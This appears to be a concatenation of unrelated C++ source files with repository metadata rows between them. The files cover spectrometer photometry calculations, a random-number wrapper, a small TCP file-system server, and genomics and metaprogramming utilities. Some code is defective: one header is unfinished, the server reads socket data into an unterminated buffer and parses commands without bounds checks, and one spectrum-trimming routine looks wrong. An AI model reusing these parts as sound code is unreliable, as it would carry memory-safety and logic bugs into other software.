NN = (int)(fIntervalWL / m_fInterval + 0.5f);
int iN = m_fRelSpect.GetSize();
iN = (iN - 1) / NN + 1;
for(i = 0; i < iN; i++)
{
strTemp.Format("%.1f", m_fSpect1 + fIntervalWL * i);
fprintf(fp, strTemp);
fprintf(fp," ");
strTemp.Format("%.4f", m_fRelSpect[i * NN]);
fprintf(fp, strTemp);
fprintf(fp," ");
strTemp.Format("%.4g",m_fRelSpect[i * NN] * m_fPlambda);
fprintf(fp,strTemp);
// fprintf(fp," ");
fprintf(fp,"\n");
}
fclose(fp);
return TRUE;
}
}
BOOL CSpectData::SP_Save(CString strPathName)
{
CFile sFile;
if(!sFile.Open(strPathName,CFile::modeCreate|CFile::modeReadWrite))
{
return FALSE;
}
CArchive ar(&sFile,CArchive::store);
Serialize(ar);
ar.Close();
sFile.Close();
return TRUE;
}
float CSpectData::GetWL12_Ee(float fSP1, float fSP2, float fE)
{
if(!m_bHaveData)
{
return 0.0f;
}
int iB = (int)((fSP1 - m_fSpect1) / m_fInterval + 0.5f);
int iE = (int)((fSP2 - m_fSpect1) / m_fInterval + 0.5f);
int i;
int iN;
iN = m_fRelSpect.GetSize();
float fA = 0;
for(i = 0; i < iN; i++)
{
fA = fA + m_fRelSpect[i];
}
float fD = 0;
for(i = iB; i <= iE; i++)
{
fD = fD + m_fRelSpect[i];
}
if(fA <= 0)
{
return 0.0f;
}
return fD * fE / fA;
}
CString CSpectData::PH_Name(int iLamp,int iPhType,CString &strUnit,BOOL bAddCH)
{
CString strTemp = "";
if(iLamp == 0)
{
if(iPhType == PH_F)
{
if(g_bEnglish)
{
strTemp = "Flux";
}
else
{
strTemp = "Φ";
}
if(!g_bEnglish && bAddCH)
{
strTemp = "光通量 " + strTemp;
}
strUnit = "lm";
}
if(iPhType == PH_I)
{
strTemp = "I";
if(!g_bEnglish && bAddCH)
{
strTemp = "光强 " + strTemp;
}
strUnit = "cd";
}
if(iPhType == PH_L)
{
strTemp = "L";
if(!g_bEnglish && bAddCH)
{
strTemp = "光亮度 " + strTemp;
}
strUnit = "cd/m2";
}
if(iPhType == PH_Fe)
{
if(g_bEnglish)
{
strTemp = "Fe";
}
else
{
strTemp = "Φe";
}
if(!g_bEnglish && bAddCH)
{
strTemp = "辐射通量 " + strTemp;
}
strUnit = "mW";
}
if(iPhType == PH_Ie)
{
strTemp = "Ie";
if(!g_bEnglish && bAddCH)
{
strTemp = "辐射强度 " + strTemp;
}
strUnit = "mW/Sr";
}
if(iPhType == PH_Le)
{
strTemp = "Le";
if(!g_bEnglish && bAddCH)
{
strTemp = "辐射亮度 " + strTemp;
}
strUnit = "W/m2/Sr";
}
if(iPhType == PH_E)
{
strTemp = "E";
if(!g_bEnglish && bAddCH)
{
strTemp = "光照度 " + strTemp;
}
strUnit = "lx";
}
if(iPhType == PH_Ee)
{
strTemp = "Ee";
if(!g_bEnglish && bAddCH)
{
strTemp = "辐射照度 " + strTemp;
}
strUnit = "W/m2";
}
}
else
{
if(iPhType == PH_F)
{
strTemp = "L";
if(!g_bEnglish && bAddCH)
{
strTemp = "相对亮度 " + strTemp;
}
strUnit = "";
}
}
return strTemp;
}
CString CSpectData::PH_Name(int iLamp,int iPhType,BOOL bAddCH)
{
CString strUnit;
return PH_Name(iLamp,iPhType,strUnit,bAddCH) + "(" + strUnit + ")";
}
CString CSpectData::DATA_Name(int iPara, int iPhType)
{
if(iPara == PARA_None)
{
return "NONE";
}
if(iPara == PARA_Ip)
{
return "Ip";
}
if(iPara == PARA_VF)
{
if(g_bEnglish)
{
return "U(V)";
}
else
{
return "电压 U(V)";
}
}
if(iPara == PARA_IF)
{
if(g_bEnglish)
{
return "I(A)";
}
else
{
return "电流 I(A)";
}
}
if(iPara == PARA_P)
{
if(g_bEnglish)
{
return "P(W)";
}
else
{
return "功率 P(W)";
}
}
if(iPara == PARA_VR)
{
if(g_bEnglish)
{
return "VR(V)";
}
else
{
return "反向电压 VR(V)";
}
}
if(iPara == PARA_IR)
{
if(g_bEnglish)
{
return "IR(uA)";
}
else
{
return "反向漏电流 IR(uA)";
}
}
if(iPara == PARA_PH)
{
// return PH_Name(iPhType)+"";
}
if(iPara == PARA_EFF)
{
if(g_bEnglish)
{
return "Eff.(lm/W)";
}
else
{
return "光效(lm/W)";
}
}
if(iPara == PARA_x)
{
if(g_bEnglish)
{
return "x";
}
else
{
return "色坐标 x";
}
}
if(iPara == PARA_y)
{
if(g_bEnglish)
{
return "y";
}
else
{
return "色坐标 y";
}
}
if(iPara == PARA_u)
{
if(g_bEnglish)
{
return "u'";
}
else
{
return "色坐标 u'";
}
}
if(iPara == PARA_v)
{
if(g_bEnglish)
{
return "v'";
}
else
{
return "色坐标 v'";
}
}
if(iPara == PARA_Tc)
{
if(g_bEnglish)
{
return "CCT(K)";
}
else
{
return "色温(K)";
}
}
if(iPara == PARA_Ld)
{
if(g_bEnglish)
{
return "Ld(nm)";
}
else
{
return "主波长(nm)";
}
}
if(iPara == PARA_Pur)
{
if(g_bEnglish)
{
return "Pur(%)";
}
else
{
return "色纯度(%)";
}
}
if(iPara == PARA_Lp)
{
if(g_bEnglish)
{
return "Lp(nm)";
}
else
{
return "峰值波长(nm)";
}
}
if(iPara == PARA_HW)
{
if(g_bEnglish)
{
return "FWHM(nm)";
}
else
{
return "半宽度(nm)";
}
}
if(iPara == PARA_RR)
{
if(g_bEnglish)
{
return "Red Ratio(%)";
}
else
{
return "红色比(%)";
}
}
if(iPara == PARA_Ra)
{
return "Ra";
}
return "";
}
extern BOOL g_Use_FluxLamp_SelfCal;
void CSpectData::DoPh_e(int iPhType)
{
//使用光度探头的光通量来计算辐射通量
//m_fPH 探头测试的光通量数据
//m_fPh 光谱仪计算的光通量数据
//m_fPh_e 光谱仪计算的辐射通量数据
//理论上 m_fPH == m_fPh的
//修改m_fPh的同时,要修改m_fPh_e
if(iPhType == PH_F && m_bTestPH)
{
//有光谱数据
if(m_bHaveData)
{
if(m_fPh > 0 && m_fPH > 0)
{
m_fPh_e = m_fPh_e / m_fPh * m_fPH;
m_fPh = m_fPH;
if(g_Use_FluxLamp_SelfCal == TRUE)
{
m_fPH *= g_SPEC.m_fluxLampSelfCalData.m_fCalK;
m_fPh *= g_SPEC.m_fluxLampSelfCalData.m_fCalK;
m_fPh_e *= g_SPEC.m_fluxLampSelfCalData.m_fCalK;
}
}
}
}
}
void CSpectData::Demo()
{
m_bHaveData = TRUE;
m_bTestPH = true;
m_fDistance = 0.316f; //测试距离 对光强与辐射强度有用
m_fPH = 1.3f + rand() * 1.0f / RAND_MAX;
m_bTestF = TRUE;
m_fVF = 2.341f; //V
m_fIF = 20.0f; //mA
m_fPow = 40.0f;
m_fPF = 1.00f;
m_x = m_y = rand() * 0.5f / RAND_MAX;
m_u = m_v = rand() * 0.5f / RAND_MAX;
m_fCCT = 2856;
m_fRedRatio = 12.5f;
m_fMainlambda= 560.1f;
m_fMaxlambda = 599.8f;
m_fPurity = 75.1f;
m_fHalflambda= 12.9f;
m_fRa = 99.4f;
m_fPh = 10.01f;
m_fPh_e = 0.0124f;
m_fPlambda = 1;
m_fIp = 50000;
m_fIntTime = 100; //积分时间
m_fInterval = 1.0f; //间隔波长
m_fSpect1 = g_SPEC.T_SPECT1;
m_fSpect2 = g_SPEC.T_SPECT2; //波长范围
m_fRelSpect.RemoveAll();
for(int i = 0; i < (g_SPEC.T_SPECT2 - g_SPEC.T_SPECT1 + 1); i++)
{
m_fRelSpect.Add(i * 1.0f / (g_SPEC.T_SPECT2 - g_SPEC.T_SPECT1));
}
m_fEnTMP = 20;
}
float CSpectData::GetEe(int iB1,int iB2)
{
float fEe = 0;
if(iB1 == iB2)
{
return 0;
}
int iN = m_fRelSpect.GetSize();
if(iN <= 0)
{
return 0;
}
for(int i = iB1; i < iB2; i++)
{
fEe = (float)(fEe + m_fPlambda * m_fRelSpect[i] * m_fInterval);
}
return fEe;
}
BOOL CSpectData::CalcPhoEff(float &fMol, float &fEff1, float &fEff2, int iPhType)
{
if(iPhType != PH_F
&& iPhType != PH_E)
{
return FALSE;
}
//
// 计算 转换效率
//
fMol = 0; // 光量子数 单位为umol/s
fEff1 = 0; // 转换效率
fEff2 = 0; // 转换光效 W/W
if(!m_bHaveData)
{
return FALSE;
}
int i;
float fPh_e = 0;
for(i = 0; i < m_fRelSpect.GetSize(); i++)
{
fPh_e += m_fRelSpect[i] * m_fInterval;
}
float fK;
if(fPh_e > 0)
{
fK = m_fPh_e / fPh_e;
}
else
{
fK = 1.0f;
}
int iN = m_fRelSpect.GetSize();
float *pWL = new float [iN];
float *pPL = new float [iN];
for(i = 0; i < iN; i++)
{
pWL[i] = m_fSpect1 + i * m_fInterval;
pPL[i] = m_fRelSpect[i] * fK; // W/nm
}
float fPower = m_fVF * m_fIF / 1000.0f; // W
g_SPEC.SPEC_CalcPhoEff(iN, pWL, pPL, fPower, g_bPhoEffSetAuto,
g_fSpectB1, g_fSpectB2,
g_fSpectY1, g_fSpectY2,
fMol, fEff1, fEff2);
if(!m_bTestF)
{
fEff2 = 0.0f;
}
delete [] pWL;
delete [] pPL;
return TRUE;
}
float CSpectData::GetSDCM(int iSeleK)
{
float ou[21];
ou[16] = m_x;
ou[17] = m_y;
int i;
//float g[6][3]={86.0f,-40.0f,45.0f,56.0f,-25.0f,23.0f,39.5f,-21.5f,26.0f,38.0f,-20.0f,25.0f,39.0f,-19.5f,27.5f,44.0f,-18.6f,27.0f};
float mina;//xy[6][2]={0.313f,0.337f,0.346f,0.359f,0.38f,0.38f,0.409f,0.394f,0.440f,0.403f,0.463f,0.42f};
//float sxy[6][2]={0.3f,0.32f,0.33f,0.340f,0.365f,0.360f,0.395f,0.375f,0.425f,0.380f,0.45f,0.4f};
float a[1000],deltx[2],delty[2];
const float pi = 3.14159f;
//int f[6]={6500,5000,4000,3500,3000,2700};
int NN = g_doData.m_sdcm.GetSize();
for(i = 0; i < NN; i++)
{
deltx[0] = ou[16] - g_doData.m_sdcm.GetAt(i)->m_fx;
delty[0] = ou[17] - g_doData.m_sdcm.GetAt(i)->m_fy;
a[i] = g_doData.m_sdcm.GetAt(i)->m_fg11 * deltx[0] * deltx[0]
+ 2 * g_doData.m_sdcm.GetAt(i)->m_fg12 * deltx[0] * delty[0]
+ g_doData.m_sdcm.GetAt(i)->m_fg22 * delty[0] * delty[0];
a[i] = (float)(sqrt(a[i]) * 100.0);
}
int sig = 0;
if(iSeleK == NN)
{
mina = a[0];
sig = 0;
for(i = 0; i < NN; i++)
{
if(a[i] < mina)
{
mina = a[i];
sig = i;
}
}
}
else
{
mina = a[iSeleK];
sig = iSeleK;
}
return mina;
}
BOOL CSpectData::GetDW(float fPosWL, float &fDW)
{
if(!m_bHaveData)
return FALSE;
if(fPosWL <= m_fSpect1)
return FALSE;
if(fPosWL >= m_fSpect2)
return FALSE;
const float fBW = 10.0f; //左右10nm查找
int i;
int iN = m_fRelSpect.GetSize();
int iBW1 = 0;
int iBW2 = iN - 1;
for(i = 0; i < iN; i++)
{
float fWL = m_fSpect1 + i * m_fInterval;
if(fWL >= (fPosWL - fBW))
{
iBW1 = i;
break;
}
}
for(i = 0; i < iN; i++)
{
float fWL = m_fSpect1 + i * m_fInterval;
if(fWL >= (fPosWL + fBW))
{
iBW2 = i;
break;
}
}
float fPer = 0.5f;
float fMax = m_fRelSpect[iBW1];
int iMax = iBW1;
for(i = iBW1; i < iBW2; i++)
{
if(fMax < m_fRelSpect[i])
{
fMax = m_fRelSpect[i];
iMax = i;
}
}
int iL = iBW1;
int iR = iBW2;
for(i = iMax; i > iBW1; i--)
{
if(m_fRelSpect[i] < (fMax * fPer))
{
iL = i + 1;
break;
}
}
for(i = iMax; i < iBW2; i++)
{
if(m_fRelSpect[i] < (fMax * fPer))
{
iR = i - 1;
break;
}
}
fDW = (float)(iR - iL) * m_fInterval;
return TRUE;
}
void CSpectData::ProGetWL12(float fWL1, float fWL2)
{
if(!m_bHaveData)
return;
CArray<int, int> iRemovePos;
for(int i = 0; i < m_fRelSpect.GetSize(); i++)
{
float fTempWL = m_fSpect1 + m_fInterval * i;
if(fTempWL < fWL1 || fTempWL > fWL2)
iRemovePos.Add(i);
}
int iNum = m_fRelSpect.GetSize();
for(i = 0; i < iRemovePos.GetSize(); i++)
{
int iSele = iNum - 1 - iRemovePos[i];
m_fRelSpect.RemoveAt(iSele);
}
if(m_fSpect1 < fWL1)
m_fSpect1 = fWL1;
if(m_fSpect2 > fWL2)
m_fSpect2 = fWL2;
return;
}
BOOL CSpectData::ReadV2(CString strPathName)
{
FILE *fp;
if((fp = fopen(strPathName, "rt")) == NULL)
{
return FALSE;
}
else
{
fscanf(fp,"NUM:%d\n", &m_iv2Num);
for(int i = 0; i < m_iv2Num; i++)
fscanf(fp, "%f %f\n", &m_fv2WL[i], &m_fv2VL[i]);
}
fclose(fp);
return TRUE;
}
/* 计算暗觉光度值及比值 */
BOOL CSpectData::CalcPh_(float &fPh_, float &fSP)
{
if(m_iv2Num < 401)
return FALSE;
if(!m_bHaveData)
return FALSE;
if(m_fSpect1 > 380)
return FALSE;
if(m_fSpect2 < 780)
return FALSE;
int iTestNum = m_fRelSpect.GetSize();
float *pWL = new float [iTestNum];
float *pPL = new float [iTestNum];
int i;
for(i = 0; i < iTestNum; i++)
{
pWL[i] = m_fSpect1 + m_fInterval * i;
pPL[i] = m_fRelSpect[i];
}
float fTempPh, fTempPh_;
fTempPh = 0;
fTempPh_ = 0;
for(i = 0; i < 401; i++)
{
float fWL = 380 + i * 1.0f;
float fPL = g_doData.NewInt_float(pWL, pPL, iTestNum, fWL);
float fV = NH_GetV(fWL);
float fV_ = g_doData.NewInt_float(m_fv2WL, m_fv2VL, m_iv2Num, fWL);
fTempPh += (683 * fPL * fV);
fTempPh_ += (1700 * fPL * fV_);
}
delete [] pWL;
delete [] pPL;
if(fTempPh <= 0)
return FALSE;
fSP = fTempPh_ / fTempPh;
fPh_ = m_fPH * fSP;
return TRUE;
}
void CSpectData::DoADSpecForCal(float fLimitWL, float fSetAD)
{
int iN = m_fRelSpect.GetSize();
if(iN <= 0)
return;
if(fabsf(m_fSpect2 -m_fSpect1) <= fLimitWL * 2)
return;
if(fLimitWL <= 0.0f)
return;
int i;
float fStartWL1 = m_fSpect1;
float fStartWL2 = m_fSpect1 + fLimitWL;
float fEndWL1 = m_fSpect2 - fLimitWL;
float fEndWL2 = m_fSpect2;
float fWL;
for(i = 0; i < iN; i++)
{
fWL = m_fSpect1 + i * m_fInterval;
if(fWL >= fStartWL1 && fWL <= fStartWL2)
{
if(m_fRelSpect[i] > fSetAD)
return;
}
if(fWL >= fEndWL1 && fWL <= fEndWL2)
{
if(m_fRelSpect[i] > fSetAD)
return;
}
}
float fStartPL1 = 0;
float fStartPL2 = 0;
float fEndPL1 = 0;
float fEndPL2 = 0;
for(i = 0; i < iN; i++)
{
fWL = m_fSpect1 + i * m_fInterval;
if(fWL == fStartWL2)
{
fStartPL2 = m_fRelSpect[i];
break;
}
}
fStartPL1 = 0.6f * fStartPL2;
for(i = 0; i < iN; i++)
{
fWL = m_fSpect1 + i * m_fInterval;
if(fWL == fEndWL1)
{
fEndPL1 = m_fRelSpect[i];
break;
}
}
fEndPL2 = 0.6f * fEndPL1;
for(i = 0; i < iN; i++)
{
fWL = m_fSpect1 + i * m_fInterval;
if(fWL >= fStartWL1 && fWL <= fStartWL2)
{
m_fRelSpect[i] = fStartPL1 + (fWL - fStartWL1) * (fStartPL2 - fStartPL1) /(fStartWL2 - fStartWL1);
}
if(fWL >= fEndWL1 && fWL <= fEndWL2)
{
m_fRelSpect[i] = fEndPL1 + (fWL - fEndWL1) * (fEndPL2 - fEndPL1) /(fEndWL2 - fEndWL1);
}
}
return;
}
BOOL CSpectData::DoSpectrumSelfCorrect(CSelfCorrectData &data)
{
if(m_bHaveData == FALSE)
return FALSE;
if(m_fRelSpect.GetSize() <= 0)
return FALSE;
if(m_fSpect1 > 380)
return FALSE;
if(m_fSpect2 < 780)
return FALSE;
if(data.m_iSaveTestNum <= 10)
return FALSE;
if(data.m_iSaveRefNum <= 10)
return FALSE;
int iN = m_fRelSpect.GetSize();
float *pWL = new float [iN];
float *pPL = new float [iN];
int i;
for(i = 0; i < iN; i++)
{
pWL[i] = m_fSpect1 + i * m_fInterval;
pPL[i] = m_fRelSpect[i];
}
float fPh1 = 0;
float fPh2 = 0;
for(i = 0; i < 401; i++)
{
float fWL = 380 + i * 1.0f;
float fPL = g_doData.NewInt_float(pWL, pPL, iN, fWL);
float fTEST_PL = g_doData.NewInt_float(data.m_fSave_TestWL, data.m_fSave_TestPL, data.m_iSaveTestNum, fWL);
float fREF_PL = g_doData.NewInt_float(data.m_fSave_RefWL, data.m_fSave_RefPL, data.m_iSaveRefNum, fWL);
fPh1 += (fPL * NH_GetV(fWL));
fPh2 += (((fPL * 1)/(fTEST_PL / fREF_PL)) * NH_GetV(fWL));
}
delete [] pWL;
delete [] pPL;
float fK = 1;
if(fPh1 > 0)
fK = fPh2 / fPh1;
m_fPh *= fK;
m_fPH *= fK;
m_fPh_e *= fK;
m_fPlambda *= fK;
return TRUE;
}
|
aee041ef0b56612388539e73fc29e3ae886895b2
|
ece904fdcd89be31a6f23f6cc77f883d125e3af1
|
/metainfo/detail/member_offset.hpp
|
34a442e2d10bd3fe3ce4329a63d7c6dc7b1828e2
|
[] |
no_license
|
deadreact/meta_info
|
3696251528ce936cbecb566306f647ea7a4db2aa
|
1a3b4d65e36a40aa81cc3ed433d2bc429acd9ad8
|
refs/heads/master
| 2020-03-28T10:50:37.441121
| 2019-09-17T16:33:04
| 2019-09-17T16:33:04
| 148,151,072
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,739
|
hpp
|
member_offset.hpp
|
#pragma once
#include <inttypes.h>
#include <deque>
#include <array>
namespace metafunction {
/** -------------------------------------------------------------------------------- */
using address_type = const uint8_t*;
using offset_type = decltype(address_type() - address_type());
using offset_list_type = std::deque<offset_type>;
template <size_t N> using offset_array_type = std::array<offset_type, N>;
/** -------------------------------------------------------------------------------- */
namespace detail {
template <typename T>
address_type address(const T& arg);
template <int N, typename Cls, typename T, typename ...Args>
offset_array_type<N> get_offsets(const Cls &obj, const T &arg, const Args &...args);
template <int N, typename Cls, typename T>
offset_array_type<N> get_offsets(const Cls& obj, const T& arg);
/** -------------------------------------------------------------------------------- */
} //namespace detail
} //namespace metafunction
template <typename T>
metafunction::address_type metafunction::detail::address(const T& arg) {
return reinterpret_cast<address_type>(std::addressof(arg));
}
template<int N, typename Cls, typename T, typename... Args>
metafunction::offset_array_type<N> metafunction::detail::get_offsets(const Cls &obj, const T &arg, const Args &... args) {
offset_array_type<N> arr = get_offsets<N>(obj, args...);
arr[N - sizeof...(args) - 1] = address(arg) - address(obj);
return arr;
}
template<int N, typename Cls, typename T>
metafunction::offset_array_type<N> metafunction::detail::get_offsets(const Cls& obj, const T &arg) {
offset_array_type<N> arr;
arr[N - 1] = address(arg) - address(obj);
return arr;
}
|
91effe4c8418c27025cc6cc67a2c01f326789b1e
|
450757ee3d890672bb3f6af42f01430ca3dea34c
|
/revreaddyC/src/Random.cpp
|
530e29571fab8a46a69f6c4c06405d713186b3a6
|
[] |
no_license
|
chrisfroe/revreaddy
|
f173035c2d2e6aef6da7a69ef73187a743689208
|
66b8e7d003f94e969dc1f202937a699ae4604585
|
refs/heads/master
| 2020-05-21T22:59:29.498375
| 2016-11-10T18:59:47
| 2016-11-10T18:59:47
| 26,339,851
| 0
| 2
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 1,743
|
cpp
|
Random.cpp
|
/* Random.cpp */
#include "Random.h"
Random::Random(std::string type) {
gsl_rng_env_setup();
if (type == "mt19937") { this->randomGeneratorType = gsl_rng_mt19937; }
else if (type == "taus") { this->randomGeneratorType = gsl_rng_taus; }
else if (type == "ranlxs0") { this->randomGeneratorType = gsl_rng_ranlxs0; }
else { this->randomGeneratorType = gsl_rng_ranlxs0; }
this->randomGeneratorHandle = gsl_rng_alloc(this->randomGeneratorType);
this->seed = this->getNewSeed();
gsl_rng_set(this->randomGeneratorHandle, this->seed);
LOG_INFO(
"Random number generator of type '"
<< gsl_rng_name(randomGeneratorHandle) << "' has been intialized and seeded."
)
}
Random::~Random() {
gsl_rng_free(this->randomGeneratorHandle);
LOG_INFO("Random number generator has been released.")
}
unsigned long int Random::getNewSeed() {
// TODO this works on unix systems only. make alternative with defines for windows
FILE *devurandom;
devurandom = fopen("/dev/urandom","r");
unsigned long int newSeed;
fread(&newSeed, sizeof(newSeed), 1, devurandom);
fclose(devurandom);
LOG_INFO("Got seed " << newSeed << " from /dev/urandom.")
return newSeed;
}
std::string Random::getType() {
std::string str(gsl_rng_name(this->randomGeneratorHandle));
return str;
}
double Random::normal() { return gsl_ran_ugaussian(this->randomGeneratorHandle); }
std::vector<double> Random::normal3D() {
std::vector<double> randomArray = {0.,0.,0.};
randomArray[0] = gsl_ran_ugaussian(this->randomGeneratorHandle);
randomArray[1] = gsl_ran_ugaussian(this->randomGeneratorHandle);
randomArray[2] = gsl_ran_ugaussian(this->randomGeneratorHandle);
return randomArray;
}
double Random::uniform() { return gsl_rng_uniform(this->randomGeneratorHandle); }
|
c8d4337f962a58011a3704ae0a05acd786a86e4b
|
7dbfa16243f67bf3aa91fa36dea963d5a1e4b7b8
|
/lab4/server.cpp
|
dd422a00120aee6128e124d5a4f119ac54bc9407
|
[] |
no_license
|
CPSCYeet/cpsc3500
|
854a8212ecba6aedb8056cb0239566cc44432ecc
|
576594e57bd39eb21e40c5a4d11e4d6ca35a619a
|
refs/heads/master
| 2020-04-17T02:46:50.405509
| 2019-03-13T05:38:32
| 2019-03-13T05:38:32
| 166,152,869
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 6,319
|
cpp
|
server.cpp
|
#include <iostream>
#include <signal.h>
#include <string>
#include <strings.h>
#include <cstdlib>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sstream>
#include <unistd.h>
#include "FileSys.h"
#include <arpa/inet.h>
#include <cerrno>
#define MAX_INC_READ_SIZE 4096
#include <netinet/in.h>
#define PACKET_MAX_SIZE 32
using namespace std;
void cleanExit(){exit(0);}
void parseAndCall(string s);
void getCmd();
int knit(int p);
int await();
int sockread(size_t len);
void unbind();
FileSys fs;
int sock, newSock;
socklen_t clientAddressLength;
std::string clientName;
std::string message;
sockaddr_in serverAddress, clientAddress;
int main(int argc, char* argv[]) {
if (argc < 2) {
cerr << "Usage: ./nfsserver port#\n";
return -1;
}
int port = atoi(argv[1]);
if(knit(port)==-1)
exit(EXIT_FAILURE);
await();
//mount the file system
fs.mount(newSock); //assume that sock is the new socket created
//for a TCP connection between the client and the server.
//loop: get the command from the client and invoke the file
//system operation which returns the results or error messages back to the clinet
//until the client closes the TCP connection.
while(1){
getCmd();
}
//close the listening socket
unbind();
//unmout the file system
fs.unmount();
/*Close the socket*/
close(sock);
close(newSock);
return 0;
}
void getCmd(){
/*Wild and crazy search function*/
string asubstr;
string s1;
string s2 = "\\r\\n";
string msg;
size_t found;
int bytes_read(0);
//How to find \\r\\n\r\n
while( (found = msg.find(s2) )== std::string::npos){
if(bytes_read > MAX_INC_READ_SIZE){
cerr<<"Incoming command exceeds max allowable size\n";
break;
}
size_t readSize = sockread(PACKET_MAX_SIZE);
if(bytes_read==0)
bytes_read = readSize;
else
bytes_read+= readSize;
msg = msg + message;
}
s1 = msg.substr(0, found);
parseAndCall(s1);
}
void unbind(){
close(sock);
close(newSock);
cerr<<"server: Sockets unbound...\n";
}
void parseAndCall(string message)
{
int sizeOfString = message.length();
string command;
const int ending = 0;
cerr<<"\nCommand: "<< message << endl;
int numSpaces, counter; //For head and append parsing
if (message[0] == 'm') {
command = message.substr (6, sizeOfString - 6 - ending);
fs.mkdir(command.c_str());
}
else if (message[0] == 'c' && message[1] == 'd') {
command = message.substr (3, sizeOfString - 3 - ending);
fs.cd(command.c_str());
}
else if (message[0] == 'h' && message[1] == 'o'){
fs.home();
}
else if (message[0] == 'r' && message[1] == 'm' && message[2] == 'd') {
command = message.substr (6, sizeOfString - 6 - ending);
fs.rmdir(command.c_str());
}
else if (message[0] == 'l') {
fs.ls();
}
else if (message[0] == 'c' && message[1] == 'r') {
command = message.substr (7, sizeOfString - 7 - ending);
fs.create(command.c_str());
}
else if (message[0] == 'a') {
numSpaces = 0;
counter = 0;
string command2;
while(numSpaces != 2)
{
if (message[counter] == ' ')
numSpaces++;
counter++;
}
command = message.substr (7, counter - 8);
command2 = message.substr(counter, sizeOfString - (counter) - ending);
fs.append(command.c_str(), command2.c_str());
}
else if (message[0] == 'c' && message[1] == 'a') {
command = message.substr (4, sizeOfString - 4 - ending);
fs.cat(command.c_str());
}
else if (message[0] == 'h' && message[1] == 'e') {
numSpaces = 0;
counter = 0;
string command2;
while(numSpaces != 2)
{
if (message[counter] == ' ')
numSpaces++;
counter++;
}
command = message.substr (5, counter - 6);
command2 = message.substr(counter, sizeOfString - (counter) - ending);
unsigned hnum = stoul(command2.c_str(), nullptr, 0);
hnum = ntohl(hnum);
fs.head(command.c_str(), stoul(command2.c_str(), nullptr, 0));
}
else if (message[0] == 'r' && message[1] == 'm') {
command = message.substr (3, sizeOfString - 3 - ending);
fs.rm(command.c_str());
}
else if (message[0] == 's') {
command = message.substr (5, sizeOfString - 5 - ending);
fs.stat(command.c_str());
}
else
cout << "ERROR EXITING HELP\n";
}
int sockread(size_t len)
{
char buf[len];
size_t count = len;
char *bufptr = (char*)buf;
cerr<<"Reading from socket..\n";
ssize_t bytes_received(0);
while(count > 0)
{
bytes_received = read(newSock, bufptr,sizeof(char));
if (bytes_received <= 0)
return bytes_received;
/* Decrement remaining size */
count -= bytes_received;
/*increment buffer pointer*/
bufptr += bytes_received;
}
message = buf;
cerr<<"Incoming message: " <<message<<endl;
return len;
}
int knit(int p)
{
serverAddress.sin_family = AF_INET;
serverAddress.sin_port = htons(p);
serverAddress.sin_addr.s_addr = htonl(INADDR_ANY);
int enable = 1;
int rv;
//if (rv = setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &enable, sizeof(int)) < 0){
//cerr<<"Can't recycle..\n\n"<<gai_strerror(rv);
// return -1;
//}
if((sock = socket(AF_INET, SOCK_STREAM, 0))<0){
cerr<<"Socket failed to create\n\n";
return -1;
}
/*set port to network byte-order*/
serverAddress.sin_port=htons(p);
/*bind socket to port*/
if(bind(sock, (struct sockaddr*) &serverAddress, sizeof(serverAddress))<0){
cerr<<"Error binding to socket\n\n";
return -1;
}
/*Listen on socket, max 5 connection*/
if(listen(sock, 5)<0){
cerr<<"I'm deaf..\n\n";
return -1;
}
cout<<"Server: Listening for connection on " << p <<"...\n";
return 0;
}
int await()
{
socklen_t clientAddressLength = sizeof(clientAddress);
newSock = accept(sock,(struct sockaddr*)&clientAddress,&clientAddressLength);
if(newSock<0)
return -1;
/*get a string copy of client address for easy display*/
clientName = inet_ntoa(clientAddress.sin_addr);
cout<<"Server: Connected to client: " << clientName << "..."<<endl;
/*new thread creation would be implemented here*/
return 0;
}
|
d63a292c316a04e12d2ea9abb0c3a3984f34d13e
|
8353b4a4241c3dd22873700abcfd11c9a7ef51a4
|
/types/SContext.h
|
063c5717af341b82016b24045615b0c1416fb576
|
[] |
no_license
|
Egor2001/CompilerCompiler
|
d2a4d43a198d396e42ffcf6e09dc46400cbdf00c
|
fc0d1372be6f22e7a637bdc8a47eeb8175a34bb7
|
refs/heads/master
| 2020-11-24T16:39:49.033799
| 2020-02-07T08:09:52
| 2020-02-07T08:09:52
| 228,251,269
| 0
| 0
| null | null | null | null |
UTF-8
|
C++
| false
| false
| 825
|
h
|
SContext.h
|
#ifndef SCONTEXT_H
#define SCONTEXT_H
//namespace {
struct STerm
{
std::string name;
std::string expr;
};
struct SSkip
{
std::string name;
};
struct SContext
{
void build_source_term_enum (std::string& out_str) const;
void build_source_skip_array(std::string& out_str) const;
std::unordered_map<STerm, std::size_t> term_map;
std::unordered_map<SSkip, std::size_t> skip_map;
};
void SContext::build_source_term_enum(std::string& out_str) const
{
auto term_vec = std::vector<STerm>(term_map.size());
for (const auto& [term, idx] : term_map)
term_vec[idx] = term;
out_str.append("const std::array<STerm, > GlobalTermArray");
//must iterate from head to tail
for (const auto& term : term_vec)
{
term.buil
}
}
//} //namespace
#endif //SCONTEXT_H
|
ee3fafd01ff5bc357b582807a7af7486c2f3dd43
|
6f286be4a4e16867cc6e488080b8e3eced1dcd62
|
/src/BedExtend/main.cpp
|
8027b40278fc41d78afa82500c49652c03570459
|
[
"MIT"
] |
permissive
|
imgag/ngs-bits
|
3587404be01687d52c5a77b933874ca77faf8e6b
|
0597c96f6bc09067598c2364877d11091350bed8
|
refs/heads/master
| 2023-09-03T20:20:16.975954
| 2023-09-01T13:17:35
| 2023-09-01T13:17:35
| 38,034,492
| 110
| 36
|
MIT
| 2023-09-12T14:21:59
| 2015-06-25T07:23:55
|
C++
|
UTF-8
|
C++
| false
| false
| 1,804
|
cpp
|
main.cpp
|
#include "BedFile.h"
#include "ToolBase.h"
#include "Helper.h"
#include "Exceptions.h"
class ConcreteTool
: public ToolBase
{
Q_OBJECT
public:
ConcreteTool(int& argc, char *argv[])
: ToolBase(argc, argv)
{
}
virtual void setup()
{
setDescription("Extends the regions in a BED file.");
addInt("n", "The number of bases to extend (on both sides of each region).", false);
//optional
addInfile("in", "Input BED file. If unset, reads from STDIN.", true);
addOutfile("out", "Output BED file. If unset, writes to STDOUT.", true);
addInfile("fai", "Optional FASTA index file that determines the maximum position for each chromosome.", true);
}
virtual void main()
{
//load and extend file
BedFile file;
file.load(getInfile("in"));
file.extend(getInt("n"));
